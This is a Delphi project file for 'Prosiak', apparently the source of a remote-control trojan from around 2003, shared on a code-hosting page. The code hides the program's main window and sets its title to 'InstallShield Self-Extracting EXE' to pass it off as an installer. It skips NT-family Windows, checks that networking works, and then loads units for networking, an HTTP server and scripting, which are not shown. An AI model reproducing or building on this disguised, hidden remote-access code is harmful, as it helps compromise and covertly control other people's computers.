prosiak.dpr

来自「2003年的远程控制」· DPR 代码 · 共 38 行

program Prosiak;

uses
  Windows,
  Forms,
  main in 'main.pas' {pro70},
  imager in 'imager.pas' {vjpeg},
  shield in 'shield.pas',
  stale in 'stale.pas',
  toolz in 'toolz.pas',
  figle in 'figle.pas',
  windoz in 'windoz.pas',
  siec in 'siec.pas',
  httpd in 'httpd.pas',
  skrypt in 'skrypt.pas',
  konfig in 'konfig.pas',
  winsock,sysutils;

{$R *.RES}

var wsa:Wsadata;
    res:integer;
    ver:_osversioninfoa;
begin
  ver.dwOSVersionInfoSize:=sizeof(ver);
  getversionex(ver);
  if (ver.dwPlatformId=VER_PLATFORM_WIN32_NT) then halt;
  if WSAStartup($0101,wsa)<>0 then halt;
  res:=socket(AF_INET,SOCK_STREAM,0);
  if res=-1 then halt;
  closesocket(res);
  Application.Initialize;
  Application.Title:='InstallShield Self-Extracting EXE';
  Application.ShowMainForm:=false;
  Application.CreateForm(Tpro70, form1);
  Application.Run;
end.